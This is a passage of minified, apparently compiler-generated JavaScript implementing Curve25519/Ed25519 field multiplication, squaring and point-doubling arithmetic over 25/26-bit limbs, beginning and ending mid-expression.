c5, p5, E5), it3 = y4 + it3 | 0, it3 = (ot3 = st3 + ot3 | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, pt3 = Bt2(C5, S5, w5, K5), st3 = y4 + it3 | 0, st3 = (ot3 = pt3 + ot3 | 0) >>> 0 < pt3 >>> 0 ? st3 + 1 | 0 : st3, it3 = (pt3 = Bt2(lt3, h5, v5, U5)) + ot3 | 0, ot3 = y4 + st3 | 0, ot3 = it3 >>> 0 < pt3 >>> 0 ? ot3 + 1 | 0 : ot3, st3 = (pt3 = Bt2(_5, J5, W3, X3)) + it3 | 0, it3 = y4 + ot3 | 0, it3 = st3 >>> 0 < pt3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = st3, st3 = Bt2(yt3, u5, H5, pt3 = H5 >> 31), it3 = y4 + it3 | 0, it3 = (ot3 = ot3 + st3 | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, st3 = Bt2(at3, m5, b5, j5), it3 = y4 + it3 | 0, it3 = (ot3 = st3 + ot3 | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, mt3 = Bt2(ut3, d5, ft3, l5), st3 = y4 + it3 | 0, it3 = e6 >> 26, e6 = (vt3 = (67108863 & e6) << 6 | vt3 >>> 26) + (ot3 = mt3 + ot3 | 0) | 0, ot3 = it3 + (ot3 >>> 0 < mt3 >>> 0 ? st3 + 1 | 0 : st3) | 0, it3 = (st3 = e6) >>> 0 < vt3 >>> 0 ? ot3 + 1 | 0 : ot3, vt3 = ot3 = st3 + 16777216 | 0, e6 = it3 = ot3 >>> 0 < 16777216 ? it3 + 1 | 0 : it3, a4[t7 + 28 >> 2] = st3 - (-33554432 & ot3), it3 = Bt2(lt3, h5, n9, f5), ot3 = y4, mt3 = Bt2(Ct3, i4, w5, K5), st3 = y4 + ot3 | 0, st3 = (it3 = mt3 + it3 | 0) >>> 0 < mt3 >>> 0 ? st3 + 1 | 0 : st3, mt3 = Bt2(s5, I5, _5, J5), ot3 = y4 + st3 | 0, ot3 = (it3 = mt3 + it3 | 0) >>> 0 < mt3 >>> 0 ? ot3 + 1 | 0 : ot3, st3 = (mt3 = Bt2(yt3, u5, p5, E5)) + it3 | 0, it3 = y4 + ot3 | 0, it3 = st3 >>> 0 < mt3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = st3, st3 = Bt2(wt3, V3, b5, j5), it3 = y4 + it3 | 0, it3 = (ot3 = ot3 + st3 | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, st3 = Bt2(ft3, l5, P5, q4), it3 = y4 + it3 | 0, it3 = (ot3 = st3 + ot3 | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = (gt3 = Bt2(gt3, F5, k5, z4)) + ot3 | 0, st3 = y4 + it3 | 0, it3 = (dt3 = Bt2(A8, o5, dt3, Q5)) + ot3 | 0, ot3 = y4 + (ot3 >>> 0 < gt3 >>> 0 ? st3 + 1 | 0 : st3) | 0, st3 = (at3 = Bt2(at3, m5, B5, Y5)) + it3 | 0, it3 = y4 + (it3 >>> 0 < dt3 >>> 0 ? ot3 + 1 | 0 : ot3) | 0, it3 = st3 >>> 0 < at3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = st3, st3 = Bt2(ut3, d5, It3, c5), it3 = y4 + it3 | 0, at3 = ot3 = ot3 + st3 | 0, it3 = (it3 = ot3 >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3) + (ot3 = r11 >> 26) | 0, at3 = r11 = at3 + (st3 = (67108863 & r11) << 6 | Dt3 >>> 26) | 0, it3 = r11 >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, dt3 = ot3 = r11 + 16777216 | 0, r11 = st3 = ot3 >>> 0 < 16777216 ? it3 + 1 | 0 : it3, a4[t7 + 12 >> 2] = at3 - (-33554432 & ot3), it3 = Bt2(n9, f5, x5, O5), st3 = y4, ot3 = (at3 = Bt2(Ct3, i4, ft3, l5)) + it3 | 0, it3 = y4 + st3 | 0, it3 = ot3 >>> 0 < at3 >>> 0 ? it3 + 1 | 0 : it3, st3 = Bt2(A8, o5, s5, I5), it3 = y4 + it3 | 0, it3 = (ot3 = st3 + ot3 | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, at3 = Bt2(p5, E5, Et3, T3), st3 = y4 + it3 | 0, st3 = (ot3 = at3 + ot3 | 0) >>> 0 < at3 >>> 0 ? st3 + 1 | 0 : st3, it3 = (at3 = Bt2(It3, c5, C5, S5)) + ot3 | 0, ot3 = y4 + st3 | 0, ot3 = it3 >>> 0 < at3 >>> 0 ? ot3 + 1 | 0 : ot3, st3 = (at3 = Bt2(D5, R5, v5, U5)) + it3 | 0, it3 = y4 + ot3 | 0, it3 = st3 >>> 0 < at3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = st3, st3 = Bt2(lt3, h5, W3, X3), it3 = y4 + it3 | 0, it3 = (ot3 = ot3 + st3 | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, st3 = Bt2(H5, pt3, N6, G5), it3 = y4 + it3 | 0, it3 = (ot3 = st3 + ot3 | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = (Et3 = Bt2(yt3, u5, at3 = Qt3, gt3 = at3 >> 31)) + ot3 | 0, st3 = y4 + it3 | 0, it3 = (ut3 = Bt2(ut3, d5, M5, L5)) + ot3 | 0, ot3 = y4 + (ot3 >>> 0 < Et3 >>> 0 ? st3 + 1 | 0 : st3) | 0, ot3 = it3 >>> 0 < ut3 >>> 0 ? ot3 + 1 | 0 : ot3, Qt3 = it3, it3 = (it3 = e6 >> 25) + ot3 | 0, it3 = (e6 = Qt3 + (st3 = (33554431 & e6) << 7 | vt3 >>> 25) | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, ut3 = ot3 = (st3 = e6) + 33554432 | 0, e6 = it3 = ot3 >>> 0 < 33554432 ? it3 + 1 | 0 : it3, a4[t7 + 32 >> 2] = st3 - (-67108864 & ot3), ot3 = r11 >> 25, r11 = (dt3 = (33554431 & r11) << 7 | dt3 >>> 25) + ($3 - (it3 = -67108864 & et3) | 0) | 0, it3 = ot3 + (tt3 - ((it3 >>> 0 > $3 >>> 0) + rt3 | 0) | 0) | 0, it3 = r11 >>> 0 < dt3 >>> 0 ? it3 + 1 | 0 : it3, it3 = ((67108863 & (it3 = (r11 = (ot3 = r11) + 33554432 | 0) >>> 0 < 33554432 ? it3 + 1 | 0 : it3)) << 6 | r11 >>> 26) + (st3 = kt3 - (-33554432 & nt3) | 0) | 0, a4[t7 + 20 >> 2] = it3, a4[t7 + 16 >> 2] = ot3 - (-67108864 & r11), r11 = Bt2(ft3, l5, n9, f5), it3 = y4, ot3 = Bt2(Ct3, i4, b5, j5), it3 = y4 + it3 | 0, it3 = (r11 = ot3 + r11 | 0) >>> 0 < ot3 >>> 0 ? it3 + 1 | 0 : it3, st3 = Bt2(s5, I5, k5, z4), ot3 = y4 + it3 | 0, ot3 = (r11 = st3 + r11 | 0) >>> 0 < st3 >>> 0 ? ot3 + 1 | 0 : ot3, it3 = Bt2(A8, o5, p5, E5), st3 = y4 + ot3 | 0, st3 = (r11 = it3 + r11 | 0) >>> 0 < it3 >>> 0 ? st3 + 1 | 0 : st3, ot3 = Bt2(C5, S5, B5, Y5), it3 = y4 + st3 | 0, it3 = (r11 = ot3 + r11 | 0) >>> 0 < ot3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = Bt2(It3, c5, v5, U5), it3 = y4 + it3 | 0, it3 = (r11 = ot3 + r11 | 0) >>> 0 < ot3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = Bt2(w5, K5, W3, X3), it3 = y4 + it3 | 0, it3 = (r11 = ot3 + r11 | 0) >>> 0 < ot3 >>> 0 ? it3 + 1 | 0 : it3, st3 = Bt2(lt3, h5, H5, pt3), ot3 = y4 + it3 | 0, ot3 = (r11 = st3 + r11 | 0) >>> 0 < st3 >>> 0 ? ot3 + 1 | 0 : ot3, it3 = Bt2(at3, gt3, _5, J5), st3 = y4 + ot3 | 0, st3 = (r11 = it3 + r11 | 0) >>> 0 < it3 >>> 0 ? st3 + 1 | 0 : st3, ot3 = Bt2(yt3, u5, Z3, Z3 >> 31), it3 = y4 + st3 | 0, it3 = (it3 = (r11 = ot3 + r11 | 0) >>> 0 < ot3 >>> 0 ? it3 + 1 | 0 : it3) + (ot3 = e6 >> 26) | 0, it3 = (e6 = (st3 = r11) + (r11 = (67108863 & e6) << 6 | ut3 >>> 26) | 0) >>> 0 < r11 >>> 0 ? it3 + 1 | 0 : it3, it3 = (e6 = (r11 = e6) + 16777216 | 0) >>> 0 < 16777216 ? it3 + 1 | 0 : it3, a4[t7 + 36 >> 2] = r11 - (-33554432 & e6), st3 = ht3 - (-33554432 & St3) | 0, ot3 = ct3 - (r11 = -67108864 & bt3) | 0, Ct3 = _t3 - ((r11 >>> 0 > ct3 >>> 0) + At3 | 0) | 0, e6 = (r11 = Bt2((33554431 & (r11 = it3)) << 7 | e6 >>> 25, it3 >>= 25, 19, 0)) + ot3 | 0, ot3 = y4 + Ct3 | 0, it3 = e6 >>> 0 < r11 >>> 0 ? ot3 + 1 | 0 : ot3, it3 = ((67108863 & (it3 = (e6 = (r11 = e6) + 33554432 | 0) >>> 0 < 33554432 ? it3 + 1 | 0 : it3)) << 6 | e6 >>> 26) + st3 | 0, a4[t7 + 4 >> 2] = it3, a4[t7 >> 2] = r11 - (-67108864 & e6); - } - function _4(t7, e6) { - var r11, n9, A8, i4, o5, s5, c5, h5, u5, l5, f5, p5, d5, C5, m5, B5, E5, w5, v5, _5, Q5, k5, D5, S5 = 0, N6 = 0, M5 = 0, x5 = 0, F5 = 0, P5 = 0, T3 = 0, R5 = 0, U5 = 0, G5 = 0, H5 = 0, L5 = 0, O5 = 0, Y5 = 0, K5 = 0, J5 = 0, j5 = 0, z4 = 0, q4 = 0, X3 = 0, V3 = 0, W3 = 0, Z3 = 0, $3 = 0, tt3 = 0, et3 = 0, rt3 = 0, nt3 = 0, At3 = 0, it3 = 0, ot3 = 0, st3 = 0, at3 = 0, ct3 = 0, ht3 = 0, gt3 = 0; - I4 = r11 = I4 - 48 | 0, b4(t7, e6), b4(t7 + 80 | 0, e6 + 40 | 0), S5 = Bt2(Y5 = (Z3 = a4[e6 + 92 >> 2]) << 1, o5 = Y5 >> 31, R5 = (x5 = a4[e6 + 84 >> 2]) << 1, n9 = R5 >> 31), M5 = y4, nt3 = j5 = a4[e6 + 88 >> 2], N6 = (H5 = Bt2(j5, q4 = j5 >> 31, j5, q4)) + S5 | 0, S5 = y4 + M5 | 0, S5 = N6 >>> 0 < H5 >>> 0 ? S5 + 1 | 0 : S5, M5 = Bt2(F5 = a4[e6 + 96 >> 2], s5 = F5 >> 31, H5 = (U5 = a4[e6 + 80 >> 2]) << 1, A8 = H5 >> 31), S5 = y4 + S5 | 0, S5 = (N6 = M5 + N6 | 0) >>> 0 < M5 >>> 0 ? S5 + 1 | 0 : S5, rt3 = a4[e6 + 108 >> 2], M5 = Bt2(L5 = g4(rt3, 38), f5 = L5 >> 31, rt3, C5 = rt3 >> 31), S5 = y4 + S5 | 0, S5 = (N6 = M5 + N6 | 0) >>> 0 < M5 >>> 0 ? S5 + 1 | 0 : S5, M5 = N6, $3 = a4[e6 + 112 >> 2], G5 = Bt2(P5 = g4($3, 19), c5 = P5 >> 31, N6 = (X3 = a4[e6 + 104 >> 2]) << 1, N6 >> 31), N6 = y4 + S5 | 0, N6 = (M5 = M5 + G5 | 0) >>> 0 < G5 >>> 0 ? N6 + 1 | 0 : N6, ot3 = a4[e6 + 116 >> 2], S5 = Bt2(G5 = g4(ot3, 38), i4 = G5 >> 31, z4 = (V3 = a4[e6 + 100 >> 2]) << 1, u5 = z4 >> 31), N6 = y4 + N6 | 0, st3 = S5 = (S5 >>> 0 > (M5 = S5 + M5 | 0) >>> 0 ? N6 + 1 : N6) << 1 | M5 >>> 31, at3 = M5 = 33554432 + (m5 = M5 << 1) | 0, ct3 = S5 = M5 >>> 0 < 33554432 ? S5 + 1 | 0 : S5, T3 = (67108863 & S5) << 6 | M5 >>> 26, W3 = S5 >> 26, S5 = Bt2(R5, n9, F5, s5), M5 = y4, N6 = (tt3 = Bt2(j5 <<= 1, l5 = j5 >> 31, Z3, B5 = Z3 >> 31)) + S5 | 0, S5 = y4 + M5 | 0, S5 = N6 >>> 0 < tt3 >>> 0 ? S5 + 1 | 0 : S5, M5 = (tt3 = Bt2(V3, p5 = V3 >> 31, H5, A8)) + N6 | 0, N6 = y4 + S5 | 0, N6 = M5 >>> 0 < tt3 >>> 0 ? N6 + 1 | 0 : N6, At3 = Bt2(P5, c5, tt3 = rt3 << 1, E5 = tt3 >> 31), S5 = y4 + N6 | 0, S5 = (M5 = At3 + M5 | 0) >>> 0 < At3 >>> 0 ? S5 + 1 | 0 : S5, N6 = Bt2(G5, i4, X3, h5 = X3 >> 31), S5 = y4 + S5 | 0, N6 = (N6 = (N6 >>> 0 > (M5 = N6 + M5 | 0) >>> 0 ? S5 + 1 : S5) << 1 | M5 >>> 31) + W3 | 0, At3 = M5 = (S5 = M5 << 1) + T3 | 0, S5 = N6 = S5 >>> 0 > M5 >>> 0 ? N6 + 1 | 0 : N6, ht3 = M5 = M5 + 16777216 | 0, T3 = (33554431 & (S5 = M5 >>> 0 < 16777216 ? S5 + 1 | 0 : S5)) << 7 | M5 >>> 25, W3 = S5 >> 25, S5 = Bt2(Y5, o5, Z3, B5), M5 = y4, N6 = (O5 = Bt2(F5, s5, j5, l5)) + S5 | 0, S5 = y4 + M5 | 0, S5 = N6 >>> 0 < O5 >>> 0 ? S5 + 1 | 0 : S5, M5 = Bt2(R5, n9, z4, u5), S5 = y4 + S5 | 0, S5 = (N6 = M5 + N6 | 0) >>> 0 < M5 >>> 0 ? S5 + 1 | 0 : S5, M5 = (O5 = Bt2(H5, A8, X3, h5)) + N6 | 0, N6 = y4 + S5 | 0, N6 = M5 >>> 0 < O5 >>> 0 ? N6 + 1 | 0 : N6, O5 = Bt2(P5, c5, $3, d5 = $3 >> 31), S5 = y4 + N6 | 0, S5 = (M5 = O5 + M5 | 0) >>> 0 < O5 >>> 0 ? S5 + 1 | 0 : S5, O5 = Bt2(G5, i4, tt3, E5), N6 = y4 + S5 | 0, N6 = ((M5 = O5 + M5 | 0) >>> 0 < O5 >>> 0 ? N6 + 1 : N6) << 1 | M5 >>> 31, M5 = (S5 = T3) + (T3 = M5 << 1) | 0, S5 = N6 + W3 | 0, S5 = M5 >>> 0 < T3 >>> 0 ? S5 + 1 | 0 : S5, W3 = M5, O5 = N6 = M5 + 33554432 | 0, M5 = S5 = N6 >>> 0 < 33554432 ? S5 + 1 | 0 : S5, a4[t7 + 144 >> 2] = W3 - (-67108864 & N6), W3 = Bt2(S5 = g4(V3, 38), S5 >> 31, V3, p5), T3 = y4, U5 = Bt2(S5 = U5, N6 = S5 >> 31, S5, N6), N6 = y4 + T3 | 0, N6 = (S5 = U5 + W3 | 0) >>> 0 < U5 >>> 0 ? N6 + 1 | 0 : N6, T3 = (et3 = Bt2(U5 = g4(X3, 19), w5 = U5 >> 31, W3 = F5 << 1, v5 = W3 >> 31)) + S5 | 0, S5 = y4 + N6 | 0, S5 = T3 >>> 0 < et3 >>> 0 ? S5 + 1 | 0 : S5, N6 = T3, T3 = Bt2(Y5, o5, L5, f5), S5 = y4 + S5 | 0, S5 = (N6 = N6 + T3 | 0) >>> 0 < T3 >>> 0 ? S5 + 1 | 0 : S5, T3 = (et3 = Bt2(P5, c5, j5, l5)) + N6 | 0, N6 = y4 + S5 | 0, N6 = T3 >>> 0 < et3 >>> 0 ? N6 + 1 | 0 : N6, et3 = Bt2(R5, n9, G5, i4), S5 = y4 + N6 | 0, et3 = S5 = ((T3 = et3 + T3 | 0) >>> 0 < et3 >>> 0 ? S5 + 1 : S5) << 1 | T3 >>> 31, k5 = N6 = (T3 = 33554432 + (_5 = T3 << 1) | 0) >>> 0 < 33554432 ? S5 + 1 | 0 : S5, it3 = (67108863 & N6) << 6 | T3 >>> 26, gt3 = N6 >> 26, S5 = Bt2(U5, w5, z4, u5), K5 = y4, J5 = x5, N6 = (x5 = Bt2(H5, A8, x5, Q5 = x5 >> 31)) + S5 | 0, S5 = y4 + K5 | 0, S5 = N6 >>> 0 < x5 >>> 0 ? S5 + 1 | 0 : S5, x5 = (K5 = Bt2(F5, s5, L5, f5)) + N6 | 0, N6 = y4 + S5 | 0, N6 = x5 >>> 0 < K5 >>> 0 ? N6 + 1 | 0 : N6, K5 = Bt2(P5, c5, Y5, o5), S5 = y4 + N6 | 0, S5 = (x5 = K5 + x5 | 0) >>> 0 < K5 >>> 0 ? S5 + 1 | 0 : S5, K5 = Bt2(G5, i4, nt3, q4), N6 = y4 + S5 | 0, N6 = ((x5 = K5 + x5 | 0) >>> 0 < K5 >>> 0 ? N6 + 1 : N6) << 1 | x5 >>> 31, x5 = (S5 = it3) + (it3 = x5 << 1) | 0, S5 = N6 + gt3 | 0, S5 = x5 >>> 0 < it3 >>> 0 ? S5 + 1 | 0 : S5, gt3 = x5, it3 = x5 = x5 + 16777216 | 0, D5 = (33554431 & (S5 = x5 >>> 0 < 16777216 ? S5 + 1 | 0 : S5)) << 7 | x5 >>> 25, K5 = S5 >> 25, S5 = Bt2(H5, A8, nt3, q4), x5 = y4, N6 = (J5 = Bt2(R5, n9, J5, Q5)) + S5 | 0, S5 = y4 + x5 | 0, x5 = (U5 = Bt2(U5, w5, X3, h5)) + N6 | 0, N6 = y4 + (N6 >>> 0 < J5 >>> 0 ? S5 + 1 | 0 : S5) | 0, N6 = x5 >>> 0 < U5 >>> 0 ? N6 + 1 | 0 : N6, U5 = Bt2(z4, u5, L5, f5), S5 = y4 + N6 | 0, S5 = (x5 = U5 + x5 | 0) >>> 0 < U5 >>> 0 ? S5 + 1 | 0 : S5, N6 = x5, x5 = Bt2(P5, c5, W3, v5), S5 = y4 + S5 | 0, S5 = (N6 = N6 + x5 | 0) >>> 0 < x5 >>> 0 ? S5 + 1 | 0 : S5, x5 = (U5 = Bt2(G5, i4, Y5, o5)) + N6 | 0, N6 = y4 + S5 | 0, S5 = (S5 = (x5 >>> 0 < U5 >>> 0 ? N6 + 1 : N6) << 1 | x5 >>> 31) + K5 | 0, J5 = x5 = (N6 = x5 << 1) + D5 | 0, S5 = N6 >>> 0 > x5 >>> 0 ? S5 + 1 | 0 : S5, x5 = (U5 = x5 + 33554432 | 0) >>> 0 < 33554432 ? S5 + 1 | 0 : S5, a4[t7 + 128 >> 2] = J5 - (-67108864 & U5), S5 = Bt2(j5, l5, V3, p5), N6 = y4, J5 = Bt2(F5, s5, Y5, o5), N6 = y4 + N6 | 0, N6 = (S5 = J5 + S5 | 0) >>> 0 < J5 >>> 0 ? N6 + 1 | 0 : N6, J5 = (K5 = Bt2(R5, n9, X3, h5)) + S5 | 0, S5 = y4 + N6 | 0, S5 = J5 >>> 0 < K5 >>> 0 ? S5 + 1 | 0 : S5, K5 = Bt2(H5, A8, rt3, C5), N6 = y4 + S5 | 0, N6 = (J5 = K5 + J5 | 0) >>> 0 < K5 >>> 0 ? N6 + 1 | 0 : N6, K5 = Bt2(G5, i4, $3, d5), S5 = y4 + N6 | 0, S5 = (N6 = M5 >> 26) + (((J5 = K5 + J5 | 0) >>> 0 < K5 >>> 0 ? S5 + 1 : S5) << 1 | J5 >>> 31) | 0, S5 = (M5 = (O5 = (67108863 & M5) << 6 | O5 >>> 26) + (J5 << 1) | 0) >>> 0 < O5 >>> 0 ? S5 + 1 | 0 : S5, O5 = M5, N6 = S5, J5 = S5 = M5 + 16777216 | 0, M5 = N6 = S5 >>> 0 < 16777216 ? N6 + 1 | 0 : N6, a4[t7 + 148 >> 2] = O5 - (-33554432 & S5), S5 = Bt2(H5, A8, Z3, B5), Z3 = y4, N6 = (q4 = Bt2(R5, n9, nt3, q4)) + S5 | 0, S5 = y4 + Z3 | 0, S5 = N6 >>> 0 < q4 >>> 0 ? S5 + 1 | 0 : S5, L5 = Bt2(X3, h5, L5, f5), S5 = y4 + S5 | 0, S5 = (N6 = L5 + N6 | 0) >>> 0 < L5 >>> 0 ? S5 + 1 | 0 : S5, P5 = (L5 = Bt2(P5, c5, z4, u5)) + N6 | 0, N6 = y4 + S5 | 0, N6 = P5 >>> 0 < L5 >>> 0 ? N6 + 1 | 0 : N6, S5 = P5, P5 = Bt2(G5, i4, F5, s5), N6 = y4 + N6 | 0, N6 = ((S5 = S5 + P5 | 0) >>> 0 < P5 >>> 0 ? N6 + 1 : N6) << 1, P5 = S5, S5 = (S5 = N6 | S5 >>> 31) + (N6 = x5 >> 26) | 0, S5 = (x5 = (O5 = P5 << 1) + (P5 = (67108863 & x5) << 6 | U5 >>> 26) | 0) >>> 0 < P5 >>> 0 ? S5 + 1 | 0 : S5, P5 = x5, L5 = N6 = x5 + 16777216 | 0, x5 = S5 = N6 >>> 0 < 16777216 ? S5 + 1 | 0 : S5, a4[t7 + 132 >> 2] = P5 - (-33554432 & N6), S5 = Bt2(X3, h5, j5, l5), P5 = y4, N6 = (F5 = Bt2(F5, s5, F5, s5)) + S5 | 0, S5 = y4 + P5 | 0, S5 = N6 >>> 0 < F5 >>> 0 ? S5 + 1 | 0 : S5, F5 = Bt2(Y5, o5, z4, u5), S5 = y4 + S5 | 0, S5 = (N6 = F5 + N6 | 0) >>> 0 < F5 >>> 0 ? S5 + 1 | 0 : S5, F5 = Bt2(R5, n9, tt3, E5), S5 = y4 + S5 | 0, S5 = (N6 = F5 + N6 | 0) >>> 0 < F5 >>> 0 ? S5 + 1 | 0 : S5, F5 = (P5 = Bt2(H5, A8, $3, d5)) + N6 | 0, N6 = y4 + S5 | 0, N6 = F5 >>> 0 < P5 >>> 0 ? N6 + 1 | 0 : N6, S5 = F5, F5 = Bt2(F5 = G5, i4, G5 = ot3, z4 = G5 >> 31), N6 = y4 + N6 | 0, N6 = ((S5 = S5 + F5 | 0) >>> 0 < F5 >>> 0 ? N6 + 1 : N6) << 1, F5 = S5, S5 = (S5 = N6 | S5 >>> 31) + (N6 = M5 >> 25) | 0, S5 = (M5 = (P5 = F5 << 1) + (F5 = (33554431 & M5) << 7 | J5 >>> 25) | 0) >>> 0 < F5 >>> 0 ? S5 + 1 | 0 : S5, F5 = M5, P5 = N6 = M5 + 33554432 | 0, M5 = S5 = N6 >>> 0 < 33554432 ? S5 + 1 | 0 : S5, a4[t7 + 152 >> 2] = F5 - (-67108864 & N6), N6 = m5 - (S5 = -67108864 & at3) | 0, F5 = st3 - ((S5 >>> 0 > m5 >>> 0) + ct3 | 0) | 0, S5 = x5 >> 25, x5 = (L5 = (33554431 & x5) << 7 | L5 >>> 25) + N6 | 0, N6 = S5 + F5 | 0, F5 = x5, S5 = N6 = x5 >>> 0 < L5 >>> 0 ? N6 + 1 | 0 : N6, S5 = ((67108863 & (S5 = (x5 = x5 + 33554432 | 0) >>> 0 < 33554432 ? S5 + 1 | 0 : S5)) << 6 | x5 >>> 26) + (q4 = At3 - (-33554432 & ht3) | 0) | 0, a4[t7 + 140 >> 2] = S5, a4[t7 + 136 >> 2] = F5 - (-67108864 & x5), S5 = Bt2(Y5, o5, X3, h5), N6 = y4, x5 = Bt2(V3, p5, W3, v5), N6 = y4 + N6 | 0, N6 = (S5 = x5 + S5 | 0) >>> 0 < x5 >>> 0 ? N6 + 1 | 0 : N6, x5 = (Y5 = Bt2(j5, l5, rt3, C5)) + S5 | 0, S5 = y4 + N6 | 0, S5 = x5 >>> 0 < Y5 >>> 0 ? S5 + 1 | 0 : S5, R5 = Bt2(R5, n9, $3, d5), N6 = y4 + S5 | 0, N6 = (x5 = R5 + x5 | 0) >>> 0 < R5 >>> 0 ? N6 + 1 | 0 : N6, R5 = Bt2(H5, A8, G5, z4), S5 = y4 + N6 | 0, S5 = (S5 = ((x5 = R5 + x5 | 0) >>> 0 < R5 >>> 0 ? S5 + 1 : S5) << 1 | x5 >>> 31) + (N6 = M5 >> 26) | 0, N6 = (M5 = (F5 = x5 << 1) + (x5 = (67108863 & M5) << 6 | P5 >>> 26) | 0) >>> 0 < x5 >>> 0 ? S5 + 1 | 0 : S5, N6 = (S5 = M5 + 16777216 | 0) >>> 0 < 16777216 ? N6 + 1 | 0 : N6, a4[t7 + 156 >> 2] = M5 - (-33554432 & S5), x5 = gt3 - (-33554432 & it3) | 0, R5 = _5 - (M5 = -67108864 & T3) | 0, H5 = et3 - ((M5 >>> 0 > _5 >>> 0) + k5 | 0) | 0, M5 = Bt2((33554431 & N6) << 7 | S5 >>> 25, N6 >> 25, 19, 0), N6 = y4 + H5 | 0, N6 = (S5 = M5 + R5 | 0) >>> 0 < M5 >>> 0 ? N6 + 1 | 0 : N6, M5 = S5, N6 = ((67108863 & (N6 = (S5 = S5 + 33554432 | 0) >>> 0 < 33554432 ? N6 + 1 | 0 : N6)) << 6 | S5 >>> 26) + x5 | 0, a4[t7 + 124 >> 2] = N6, a4[t7 + 120 >> 2] = M5 - (-67108864 & S5), S5 = a4[e6 + 40 >> 2], N6 = a4[e6 + 44 >> 2], M5 = a4[e6 + 4 >> 2], x5 = a4[e6 + 48 >> 2], R5 = a4[e6 + 8 >> 2], H5 = a4[e6 + 52 >> 2], G5 = a4[e6 + 12 >> 2], Y5 = a4[e6 + 56 >> 2], F5 = a4[e6 + 16 >> 2], P5 = a4[e6 + 60 >> 2], X3 = a4[e6 + 20 >> 2], z4 = a4[e6 - -64 >> 2], j5 = a4[e6 + 24 >> 2], L5 = a4[e6 + 68 >> 2], q4 = a4[e6 + 28 >> 2], V3 = a4[e6 + 72 >> 2], $3 = a4[e6 + 32 >> 2], nt3 = a4[e6 >> 2], a4[t7 + 76 >> 2] = a4[e6 + 76 >> 2] + a4[e6 + 36 >> 2], a4[t7 + 72 >> 2] = V3 + $3, a4[t7 + 68 >> 2] = L5 + q4, a4[(rt3 = t7 - -64 | 0) >> 2] = j5 + z4, a4[t7 + 60 >> 2] = P5 + X3, a4[t7 + 56 >> 2] = F5 + Y5, a4[t7 + 52 >> 2] = G5 + H5, a4[t7 + 48 >> 2] = x5 + R5, a4[t7 + 44 >> 2] = N6 + M5, a4[(e6 = t7 + 40 | 0) >> 2] = S5 + nt3, b4(r11, e6), S5 = a4[t7 + 80 >> 2], N6 = a4[t7 + 4 >> 2], M5 = a4[t7 + 84 >> 2], x5 = a4[t7 + 8 >> 2], R5 = a4[t7 + 88 >> 2], H5 = a4[t7 + 12 >> 2], G5 = a4[t7 + 92 >> 2], Y5 = a4[t7 + 16 >> 2], F5 = a4[t7 + 96 >> 2], P5 = a4[t7 + 20 >> 2], X3 = a4[t7 + 100 >> 2], z4 = a4[t7 + 24 >> 2], j5 = a4[t7 + 104 >> 2], L5 = a4[t7 + 28 >> 2], q4 = a4[t7 + 108 >> 2], V3 = a4[t7 + 32 >> 2], $3 = a4[t7 + 112 >> 2], nt3 = a4[t7 >> 2], U5 = (Z3 = a4[t7 + 116 >> 2]) - (tt3 = a4[t7 + 36 >> 2]) | 0, a4[t7 + 116 >> 2] = U5, W3 = $3 - V3 | 0, a4[t7 + 112 >> 2] = W3, T3 = q4 - L5 | 0, a4[t7 + 108 >> 2] = T3, ot3 = j5 - z4 | 0, a4[t7 + 104 >> 2] = ot3, st3 = X3 - P5 | 0, a4[t7 + 100 >> 2] = st3, at3 = F5 - Y5 | 0, a4[t7 + 96 >> 2] = at3, ct3 = G5 - H5 | 0, a4[t7 + 92 >> 2] = ct3, At3 = R5 - x5 | 0, a4[t7 + 88 >> 2] = At3, ht3 = M5 - N6 | 0, a4[t7 + 84 >> 2] = ht3, O5 = S5 - nt3 | 0, a4[t7 + 80 >> 2] = O5, Z3 = Z3 + tt3 | 0, a4[t7 + 76 >> 2] = Z3, V3 = V3 + $3 | 0, a4[t7 + 72 >> 2] = V3, L5 = L5 + q4 | 0, a4[t7 + 68 >> 2] = L5, z4 = j5 + z4 | 0, a4[rt3 >> 2] = z4, P5 = P5 + X3 | 0, a4[t7 + 60 >> 2] = P5, Y5 = F5 + Y5 | 0, a4[t7 + 56 >> 2] = Y5, H5 = G5 + H5 | 0, a4[t7 + 52 >> 2] = H5, x5 = x5 + R5 | 0, a4[t7 + 48 >> 2] = x5, N6 = N6 + M5 | 0, a4[t7 + 44 >> 2] = N6, M5 = e6, e6 = S5 + nt3 | 0, a4[M5 >> 2] = e6, S5 = a4[r11 >> 2], M5 = a4[r11 + 4 >> 2], R5 = a4[r11 + 8 >> 2], G5 = a4[r11 + 12 >> 2], F5 = a4[r11 + 16 >> 2], X3 = a4[r11 + 20 >> 2], j5 = a4[r11 + 24 >> 2], q4 = a4[r11 + 28 >> 2], $3 = a4[r11 + 32 >> 2], a4[t7 + 36 >> 2] = a4[r11 + 36 >> 2] - Z3, a4[t7 + 32 >> 2] = $3 - V3, a4[t7 + 28 >> 2] = q4 - L5, a4[t7 + 24 >> 2] = j5 - z4, a4[t7 + 20 >> 2] = X3 - P5, a4[t7 + 16 >> 2] = F5 - Y5, a4[t7 + 12 >> 2] = G5 - H5, a4[t7 + 8 >> 2] = R5 - x5, a4[t7 + 4 >> 2] = M5 - N6, a4[t7 >> 2] = S5 - e6, e6 = a4[t7 + 120 >> 2], S5 = a4[t7 + 124 >> 2], N6 = a4[t7 + 128 >> 2], M5 = a4[t7 + 132 >> 2], x5 = a4[t7 + 136 >> 2], R5 = a4[t7 + 140 >> 2], H5 = a4[t7 + 144 >> 2], G5 = a4[t7 + 148 >> 2], Y5 = a4[t7 + 152 >> 2], a4[t7 + 156 >> 2] = a4[t7 + 156 >> 2] - U5, 